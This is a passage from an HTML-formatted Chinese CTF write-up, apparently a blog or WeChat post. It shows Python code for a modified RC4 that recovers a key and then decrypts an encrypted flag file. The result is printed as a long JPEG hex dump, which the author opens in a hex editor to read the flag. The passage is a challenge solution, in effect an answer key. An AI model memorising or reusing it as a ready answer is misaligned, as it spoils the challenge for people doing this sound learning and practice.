style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> char </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> text:</span><span leaf=""><br/></span><span leaf="">        res.append(char ^ next(keystram))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(res)</span><span leaf=""><br/></span><span leaf="">key_dec_key1 = KSA(key2)</span><span leaf=""><br/></span><span leaf="">key1 = bytes((key1_enc[i] ^ key_dec_key1[i]) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">64</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">print(key1.hex())</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mkwhn227-rwsuql" style="color: #576B95 !important;" data-topic="1">#3c51fad33b9889664889b74e5ddc3f1849dbe1f64327582c5618984bec925557a16b692ac23864acdbb2776b0291b48f2a5caf1d6a6395c16d5cc99556939f3d</a></span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最后解密 把最后的md5值去掉</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">key1 = bytes.fromhex(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;3c51fad33b9889664889b74e5ddc3f1849dbe1f64327582c5618984bec925557a16b692ac23864acdbb2776b0291b48f2a5caf1d6a6395c16d5cc99556939f3d&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">KSA</span></span><span style="line-height: 26px;"><span leaf="">(key)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    S = [((i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">    j = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        j = (j + S[i] + key[i % len(key)]) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf=""><br/></span><span leaf="">        S[i], S[j] = S[j], S[i]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> S</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">PRGA</span></span><span style="line-height: 26px;"><span leaf="">(S)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    i, j = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        i = (i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf=""><br/></span><span leaf="">        j = (j + S[i]) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf=""><br/></span><span leaf="">        S[i], S[j] = S[j], S[i]</span><span leaf=""><br/></span><span leaf="">        K = S[(S[i] + S[j]) % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">yield</span></span><span leaf=""> K</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">RC4</span></span><span style="line-height: 26px;"><span leaf="">(key, text)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    S = KSA(key)</span><span leaf=""><br/></span><span leaf="">    keystram = PRGA(S)</span><span leaf=""><br/></span><span leaf="">    res = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> char </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> text:</span><span leaf=""><br/></span><span leaf="">        res.append(char ^ next(keystram))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(res)</span><span leaf=""><br/></span><span leaf="">key_dec_flag = KSA(key1)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;flag - 副本.enc&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;rb&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">    enc = f.read()</span><span leaf=""><br/></span><span leaf="">ENC_OFFSET = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">104</span></span><span leaf=""><br/></span><span leaf="">CHECK_SIZE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf=""><br/></span><span leaf="">enc_real = enc[ENC_OFFSET:-CHECK_SIZE]</span><span leaf=""><br/></span><span leaf="">flag = bytes(key_dec_flag[i &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xff</span></span><span leaf="">] ^ enc_real[i] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(len(enc_real)))</span><span leaf=""><br/></span><span leaf="">print(flag.hex())</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mkwhn227-lmgq04" style="color: #576B95 !important;" data-topic="1">#ffd8ffe000104a46494600010100000100010000ffe201d84943435f50524f46494c45000101000001c800000000043000006d6e74725247422058595a2007e00001000100000000000061637370000000000000000000000000000000000000000000000000000000010000f6d6000100000000d32d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000964657363000000f0000000247258595a00000114000000146758595a00000128000000146258595a0000013c00000014777470740000015000000014725452430000016400000028675452430000016400000028625452430000016400000028637072740000018c0000003c6d6c756300000000000000010000000c656e5553000000080000001c007300520047004258595a200000000000006fa2000038f50000039058595a2000000000000062990000b785000018da58595a2000000000000024a000000f840000b6cf58595a20000000000000f6d6000100000000d32d706172610000000000040000000266660000f2a700000d59000013d000000a5b00000000000000006d6c756300000000000000010000000c656e5553000000200000001c0047006f006f0067006c006500200049006e0063002e00200032003000310036ffdb00430001010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101ffdb00430101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101ffc00011080041016b03011100021101031101ffc4001d0001010003000301010000000000000000000806070904050a0203ffc40044100001040103000805030201060f00000006030405070200010809161755569596d312131415d41137b57685240a18213141512225343536394574777983b3b6b8c2ffc40014010100000000000000000000000000000000ffc40014110100000000000000000000000000000000ffda000c03010002110311003f00fba717171d2b1d8428288489229922898e9b72e66e39a4a6cd76936893d4a3a3927a92e8b062c115d366924cd36fb38d9becf1e6cb3e5dc38503df76715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076715e780c33d2f07f83a076735f6dfe9c418452cbfd8a22391082b86ffefc16459e0aa797fbb2c33c72dbfd9be8271353935072794161d9247ec915934da3b092fa87ced041e316b21f4b93a5f3516551699bbcdb34f9aa679a6d12412cb3cb7c37cb70a3ab8fdbc03fe8c17fe0d8e8333d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d03410ddc5fb8c45fda3f828cd05635c7ede01ff00460bff0006c74199e81a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a086ee2fdc622fed1fc146682b1ae3f6f00ffa305ff8363a0ccf41cf1e92cbced3e3fd2d5516d4653d522125e58f18eb39a90fb20e4f7d68458769c30e18427d213444d316df778576e19fdc9a36425e3fe67d445bf64ef0c17c4377f33cf3b31e305bc79dbd7f9b07572018bcedebb2dedabb37f9a410ecfef1d96fd1c875c3eafea7ecdf6ffa35fe47dcfee3f0edf47f16213b417216c8dfa4a1d5132560b77745b1e020ede4a46bb8019876aa1db8b61f0ebf3a7338a44a24b1cddc8d37c315a11c4ee23cc13db271f6d49de19b9dc37b07f37f8e06f638a555144e73105d60e13ca56aa9f5197cd5c196a2634d11929552a7b32cbacc4ab5b4f0fb32e91046675f1692633a339759a0b79280c7291c43ce3ae66f1e6bdb125ea997292d203b18650d22731157d3b745d0d6b060438acb423cb7e7e9faf4e4729f6f24c1bb8996cad9f2e258663a82c49bef8c0259c96213cd8360dfb6ff002eedbe3bd3f75ad4bc0d6fc3c82b2856706c3eba3258b2d5bb672c1160c252577600a9836d856b4c40dbccc48f0db68bd89a4271caa49292510cdac3661236fd241744f747d0cb61b49935e91e25b81bf041c89bc8f815321ce58b0925208b4fde0da91d842ac290c28c9f5d1861840aa33b44a8d1a2cc9488c5c6db052a267bc8fe48dd56371feb8bfa72adabb88e801d7976721602bcabe6ef4bcaff00910ac08484784923caf8868a00111b612e39306cf9ad3445232f3f27b0f8aa61318cd776e833181b7ae0e367296afe345e966ab79d6dc8e1f3c92a2ee72c1e080eb6a02c2ad22d91097d5964b1ac05c1ab1308c9a1a76e08abe29110003958cc21e48609a24a1daacca320a1233989c7198e374f72ea36c5fa9e3c8c4398cfce585d513b47e8624065e5204b5df54d71848e1cfda656164dafc86634e1cbff00a6f9f188bc6cb375950a087a7a24aa020c9e05dfd7c191c3c6cf42bef90e5afd644cc32424239dfd33d45bbc6ff50cdc22b7c876dd0728fc7f2d7452571cf0c439f0cb9167b1dd26571d245276c22f8fc03c1e0dbc3786958f168c8c1d2a716810c312194897ab16dc8526090c466183c6b244198eb06ed947f8316ee3e739c83355ba4ab856cebeaa6d593b89d41d7b79154f05d3e5047575c436c6c6211e895e65cb7134a7abe8e792cc655a37cdb87ce376dbc11ecce6d8741e48867de348c5c32065cf6e344a04df664c0b0a1838e3485bb3eb780cfeacb5a9ab505c6531c744f1930e2afb982400f5486228e66ba63a4080f2b0130f9270c18c9aceda3b4500d274c06f35792155415f07dcb136e33925a636c8d4068aa62aae3fce57f578dcf476d28150d664a5df5259f66596678b1771ce6c67e30735241bc7393a83128215ddae240ec3cee3a74818c104bef45f25e4c5abfe51417210b38bcfa143e20cdd00585618d8821634090893d5d94e600d1163d6ee9b968e0d9e93fd722f1099178c9f2b7b0f93e741bdee6e7171738fb64405476eda38091f12460a4d47c3ec1b6090336b10727aceb01292202317149a1813653a7720d0799382a99864f270a64e94c938f45676986d733bceacafec9a9aa12c28fb6d8f78b92d6d578ba108472eec93705854c80b1caaea162246347e3a16296417712a4ef61a3155976ec5abb5dfae935cc33a2b7aea345c924592bf25e47c04c3d68b7c09a9f29d358e72bb757e5ab828929f2d54f0cfe0570cd3cbf4f873c32c77df6dc38f1c0ee94eaa4b3885c7431e4f5c935296919e2c856c4b511a50fd3a7a22c8233c971d1b123bb82b7ab92e3ad625ae105079b2c2e48582924c1293857d2d1ed709c62e9f06ee94b0af1e50f2e390b42d477d91f1cab0e2a07d751850615a075405d601dde36cc3be2d6b112995dd5f5a6331d5e0006b4875978f1f148623222321789e666c9843e0c960fefc27e7c40db83f5f5457b9045c1f2cdc9af20ea1988188112d8a173e2fe2e93610160920bc9291cf8621f695817c366d80a3e264e5506f3aedb45b476de21efd2055633caee3d98ca7216146acc8a9593e29bf5a32ff006a9469025bd74f1b0f2e52e5378ab9884109b4db42b47ab38722eace3541eb09087556c26583c60806ccac6c90db8ebb0ab5abb94733607620d441807ccbb849e1c5e5872799a52111259c194464290c662f992e8b949b4bc5307b8a4ae192ad93f8b6db41cfc61d220ddc748b1670ddc835858048fd363040cc95971bb9332644ead39db29f88b9ca4665880ae2d0f4b36876e82ad2d97cc11acdfca64e5442cecd168e18221e1d2c75c85e78c85876d057204b38c7c6319b1ec1ac295654e80d4539695c38d7f36d44c8ed7b00b790b58dc8331622f0b20cb238083026bb1b96da371da6894ca672599c5330d99c7abcad21fe49595c27e4091439f9c86d6835765437331878d1298b7a9e9b9c7c1f298d801d0a9b7188bb4804ae3d26257280cc6042cb184fc2cf410504e3bbc806c178c848308860fa5655f338c8b8c66e6424a4a41ca2c9847b0648e6e5e3e7cf1ce693768cda3749470e5cb8513450453cd5573c30c32cb60e2d736ba500298d022c51c51b5c9a14b0aaff00a102c44ea7a8a3f80afed21322b98785ec0614e9f5d355b1a9ee345e89ef3eeb692aa26cb9e203683b31847a8c5b2da7100ba79542f6b60236159d03cc927e310bd7b5d4f4fc6f56c12847c2a8cac44548c9bd21b827af1af2d1773038d976b1d8b58e047b512cc22f69b4a466671f4845488f862f4af3263dbf08f8fdc9fe5b2b114d93da60a06fe5c5d84195b990983c356b8670a2b5c576d9a90d9052445b8ee9c80b8040451299bb6ee7e95b339151aacb6832d29e7bf15c06b44adcb28fc8aa806cac21cab9cbbb7aa0baaa59f87312ec545069b9203d8f5d8b9c8b40cca28aee599a918dc58566d1b3b77910e0d9ab85520c944f98b419899d695e329d3b1e36b8999e48564356552179d452662c6b36d10f8c9dc5256ad6e1b8fd3c7b09d8d9060ab9cdbe0471ea387c35bcc348f9159a87aab879cdc59a0e52cd88b6ad2c44ddd3220047768abb86585391814316795752c0decd4d8d89cc4324ec888365116d0a8bf5a71bc6a0e481fc6b51e6ae25120f14379ddc5d3d3c1aae074f487ac478c08652b27b3f51dce1c1171478bb641fcc3aa3ece30af60ab5bbd34e2dca334c3b262c32ca6a073de7a1319086c337d88683e197485a5ca4bd794f52c8041e0eb3a9ae6581aae7ce38e9c920e41d87c65762c4726eedd2e3c058f11003a773f2531f680b2f5abe257307bc2ecc46a5f774da62543a68beebe282d9364d259ce2929bb74975b36e82abed86fba49ace1341d288259a9f0e2a2d836719a586fbe78a0b658ec9e41cb7aa2f6e57b9e9299ee3b5d44b562003bf0dd95e1155c5563522ac68a14cb5bb90962ce5ad22fcf02db364222318bb66993b014a78765dabc49556a98b9369bbf701e7d49d2228591cf5e41f139d035851e255940d4ad81e7f1e367265a4c3f332b48bdc1abcb108a480531103afd3da2229b801694b41513314937f34326a5b1d20d308e095273983ca163d18bcdcbf10b67e1b9e97e4cdec080473d43af37fb40603722a30287e0bab398ce62921f4622e1685fb9ccc34acab8f8fee4f5e3b93c7077885e6436cd9e17ce9e3b56991abc21abb91544dbd3322092d0822dda019ad37b57724cca840821c7634b9d6c5cc4c6523ca208b2788e29259a453f194c7be43f692617b681a086ee2fdc622fed1fc146682b1ae3f6f00ff00a305ff008363a0ccf41c85e9a899881de2dd4440412b1b050305cdae1ecccdcdccbe6b19110d111972c1bd929595927aaa0ca3e363d920b3b7cf9dac8b568d5155c38553493cf3d8301e948e54f17ef8e8dbe660e51dc90a16e52189abe12665606a9b82bdb126632236b24219ef2b2116204530f9946ecedcb76bbbe72826d7672ba286eafcd570c720c0ac532b0ebbe909b60f6a411ebf59e1bd0bed096bf0bfa776f7ace5d0d69cdbf8186fa160a24fe43eb6450411fb7305527d21f17d1b351372ba59ec1112d63e16d58dd1196214748d9f7362e875cb0acde9c085750150055014d267a284b26e608fc26a2018c980db4992686e1834cae53b746b3b1f1d62b9850f868fc4a18448747784979d49c4622e5c52fcb7b143a97e4013f2fee5b7e3d6b4245805c9721abfb4e7b0755498548ea5f66185b9b7d918a00098d8066473e3f3c3f80cbe876128f58b274146522be119d257cbf837d8aa4b284bc7ce34d8f146b3e82ec0a8684e4886dd1f654fb58d6a9c5c220143d290b22590eb2e38cce73992b9f40d088ab06d018c104aa03c7cac63fa79ee4356d10eb07cd787e2f793188de417c8623ede382ace9f2ab1188feffe01a95cd57e30c205f4ba49ecedc24e241559451575f1261b26b03810e0072bf98503c919c85a9a94e56dbcc39174a7200d5ef572a178593c0b1f0b645426d64cdb86e1e0f614649052e4823044b250db188dc929b8c2f2b211af631906432e4903ce9e667184d2879340f78f5c464edd3f2dbde0b070f2a638b4cf829d5601f5ed4e7cd90cc7ad17830d1f93cdd832c0b29362e24e118f1b9b93d8a5c670ccc393aaf206a4a6ba12395fc3db04ca2e139555ec17292b52ae3b6ee127171b19223b20b091894a35fa4a6448fab44838ae28e1fd98ca3d7086421b3d9a5a6f64592d8e21f4dbc7cfd84a43ff00086b5ffe190ba0f9dbe90ea4adfbbfa49ae88caa5ab83e8f0de0ed0e7f6a71a769450659f2c6ad15e41124a93d12e0ce353c48461e11a6d91770ff006e769c511c8b14850a99c8404dbbc110a02dde43509cb4b67a17ac7a39e44490323cacb061dc86ad18ce2e6aad2b13e3c972ca57a5e1dbe1b66185c08f9bb0c718659b21b32fa78c968451c44b98992701ecb9514938e45f48c72b2838c7ada2246e8e87c94076afdce6b20c319c97b9c9a3879e4c66d31c97519b19159b6eb298a6bae833dd7d904f3df7f9598545c78e90de3800d101007c9fb381f8cdc85a882a0006d3a0ed89d681d67a2581c3ec2317715b82cbb9eb55b828658b54656b222ac1819479eb19262c871cc8ce6cea2db846e6bc5eb6acde35734b9749811306de05dca119e70719004ae31e0c58a3b0fc651c181eae630b869f62cdf0c9559a10265bb4987cca384d453439651042d5a4eb45a3634336ab29515e937a239cdc9572c76450e680fc555fc79937acfedf2c275f71fe373c6b69f6aff2cf074df3797fe24e739e58e68a0b37630bb2d8aa923bef90653d1c06f39cd6b837e5d58904ac6ce71c28716e21b68b958dc707713c817593028e57ca3472aef9658a8d26a342829155b6db6dba4ca711dd5c93719e1b07638e7fe84987f4b107f12ef41f34283062d7fc983df66cc9a37db7a47394df641b228edbc9a9c88ddde723bfcbc31ff1d9badf7739bbff009464e37dd6dd4dd4ff0085a0b5a9db66b7e13f2e396af393d630e53a09ca319a0af4a66c3b366e345c24d5d85d4b115c5a2190e5b2d9338d7d618fc9c64048ee0b9c82853290934c25a0e2645bef20e1308e0a04ce78f7c3204e9112912270c23ac7a45acce6cc905cb43bf8a308ee3a7238fa52b4201f20855a35c4f403b97ab89074c2787241aed2518e11d99c8b76f2d1c8a6cc34259f5bd9b4704514c1ac3e31f6174c7d132f49dc3230a9abbe7157a5db7d43dbdb4cc93668c9e7d52c3b4f5df6d8e7dc9e65fa24d04d9b66aa47a382696c1f5aa2a37141a30382104d9367082b030e370ed114924116b15071ede323db248a38268a29a0d1aa29609258609278e3b609e18e1b6db6c1c9699280ea93a676525ed52d18afe1af8e0b84d73523f329b6632c2c43f1fbd5f6f2e00272530ab1613a6c9b721857488ac53b753ee9ac9b55dab1571cf7df10f43c23b96ace8fe042be18f2eec006e3bcd55d68db331501d5ba491d5c5697bd38727721600c15d75619abf8b1326241fc0db018b04323e6322913988fc1c49c32119251ef9c86e0a03673c97e769df3405636611e3e8571c6178df4c1acdc2cc0ea5744bcf1de7661fd8800ce658c7bc9da9d822d85a044cf716f9c01e3ece5e5829f4a8db56f31241b87a4bab5b1ee1e0472b2b5a91a4849d86574f92321e8589dd6fba9264df142464c563316fb6ee15902b85672238c9ba18e4b3973289b74b0cf3531c770e4bf3b7995c4fb9b803c7709a64b868e48d5ba3842d17ae02d5c25c9b8fd9c2da20bb28dae61d86c5cbda61588ce2de81348f3e6e3aaca13394c722117abeeb609074bb9647fd194f8a2421f9792fc7c89b7abb8357a98b5a4ca184790716ce519a5351f33c649e9a670f6ccb4aab27b2698b14f1e24646450b1631583829448fa01dc7b00e6b8cbbbeab184e891e4d737dbd8995694db9e4543dc2576d45484995d352765b27e31c6cb67904bacd1dcd0cbf6c19bb214343c2fc5b6e1b3f3f9ae7d29132324f9d6414274995c94a721686e30cbd476081dce10dba48387b05244c0b33147602f9fe464e57790cd4ae19492129e76c905d1c6663e324e41689cdc20de59168b2e92598527d292093595181fc980660e9fd99c22b544793834d587c1b3c980f1273bc75d02bb6fbedf3156c4550ca17e0a34473c5476f19304f64dd6fb6cd170e5372ae29432e891e64f324cc65ee73dcd6b8a9eb9990f3c8c4dfcfb5a162edcab44285075d965b66a3b51cd670ad09d4825314f04a70ea5d8e6dbea3370b2e15df29ef2a7b99127c13a378926231665a431cafa4aec2d8309d9a3f9be3755f4c6ef1dd852574422296efe9194628c837004c28f1b8b14c813482c20ce15cc8349162d8363f048b046bde6e749a52a6a5a32336d589ca389b82bfaea7269944189dd67334781ec89a058fc92ad250ac7d8b9839a6333283ed6459c33c8b74948acdf1dd0cd60ec3683934c3febbc22ff00cb587fff00b152fa0c7eb32c10aa3a61f97f0964970c834cf22a8ce293ba3a30ae6590f3bb5550d67608d94c500e330a32c0ba7a0a49bffc67043ca494ab468ba0f1669837cb3cd30d712e37c5e57a33796e3cbf2a7e9e9894e4ade2f8f6f0ec3ac35bb3c339ae52e0524011d9a60bec565bd562e7688275961974e2a6fe2eb432c128cdb36f88531c934f624e74f475094238eac4ca30bc8db0f0b3a1f175b97ee2422335db69cabd9b09072b08e627686f3d1b89a2a522c5128c18c135581950c2fd991845874d340d0437717ee3117f68fe0a334158d71fb7807fd182ff00c1b1d0667a0681a0681a0683453ce3f8a67c848de4a43ce960b9e6d5fe75799c641b980c84ed00d6724f66c523cea366876664b17809392b352a29321d3221309e735291938fa7205c6312986f5d0340d03412d1a17735d894cd34af38fdc5a290a41e6f80e901a730ad902299561f2d3df673341f07c1ab222601e6eaeeae1bb16272488ec9e09abb486f92b922905001ce8c5f0bc23bb02086860d17629a847001c5928742f1525be597cd69085f36175dcb1031c31db0dd3907e1034e14cb2cb1ca312db0db2cc325d0340d0340d062c6cf0d980acd3cae07854acdd06b8e63c3c6c632f5f8aca3cdd7471cdbcd18c102d972f02d716d92eb62ed882922b9ae9a2df765826be6e9b8687072ce694815c333b2a81e2f0983aee15c484881f97b6bd845716d766cbe68ad0c193fc20ac62279c28f316c82ad9f1e0e269365577783b5956e9b274150e81a0681a093890c79d0d48269b0871cf89b382a84a3d487664939a3700a904ac2a6e14c639fcd0cc5f024ca3a0251d35d9259ec4312c24691ee3351b2137249a78bb542991d5c81cc0c3382c8c8685275e2d8aa430e3b3af49e062e6946c9e524c2188e487446427a2da3bdd5418cbbe151c7720db04dd38848c555c99a21ee34184d86fec78c149079538a049a9ca59b3da2876c3b0276b0147a9e6ed1c1fe72066375a5bb31199b66392ee19a6d80e5f17ced3459acac7a2be6fdb86a1ae8a79832656c59db545f1ac241d449e6526455d72bad0b44ada2f836533609b10d25e1953f112293979b2283c59c1dc5e6c5b66a3b45bc82a962c960a5340d0340d04bbca3a10df9261fbd428da7195f52c6ad5c415e50d1a0b2d29671d86b976c157c260d65236340c2d66cc8a39bc88d96bf90adec391911e997ade0971792c5195c03d1f3078971bca5e2e4ff0018a18ad0aa61e516adb18a9d6c31d6b6d011b5b9a0b15b18b6e3db900cfd420e5a8c250a967f7a6ff429b8c5e7c0f3e9fe9170ae504be4a08a3f17c5f2924d2f8bf4f87e2f9786d87c5fa7ebbfe9fafe9fafe9faeffa7fabf5dffd7a0c48fdf5831a272af2ac180d32394766bf641c3f3b9bad44e437cde2183dda54d076bab62621f66ec3274e5aeed00a73778f11418abb3145ca920d434cd7c55cc7922c8c676ad11c670c0657677f7923afb9676959a58c37c19af9b1da302c8f85952c3cb6ce5fe2d9b3bddd1ec2eec99aabbe4767eb374e3dd0531a0681a0d0aeb8f62d29c8987e4a4f9198909608d7d375d5782926e46d302aea38b5ec3bd389c188f8b188d23744e69d5e8267332858524e8b28e8dc580cb21f6efa5707e1beb40d0437717ee3117f68fe0a334158d71fb7807fd182ff00c1b1d0667a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a0681a06821bb8bf7188bfb47f0519a0a74226e1a286a146a4a563a3e6862263a065239ebc41a3a45c4534458fcfc5170a259acc9dec86ce193e4b0ddb3c414c15472fd37cb0c032eeb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f40eb18f77ec379a31f7f41f9c894730c72cf39f84c30c31df2cf3ca558e38e38e3b6fbe596596ebedb638e3b6dbefbefbefb6db6db6fbefbfe9a091ec01b33302e972314185a647e47763f6d94c5eb76a9be4da46b362ab8412718eca64db372d96fa571b7ea93b6fb24e90cb34164f2dc377dafff00647febff00f9d069bd0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d0340d07991dff3831ffbe35ffdfc3415e683ffd9</a></span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">文件头明显jpg，扔010里保存下，打开文件得到flag</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.625" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030410" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f3044e9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0OQMvOCJfVtunQbIzTfKP0DyTaIRjcXiaicw6Mib7bdkUYibt7IV7WZibANw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p 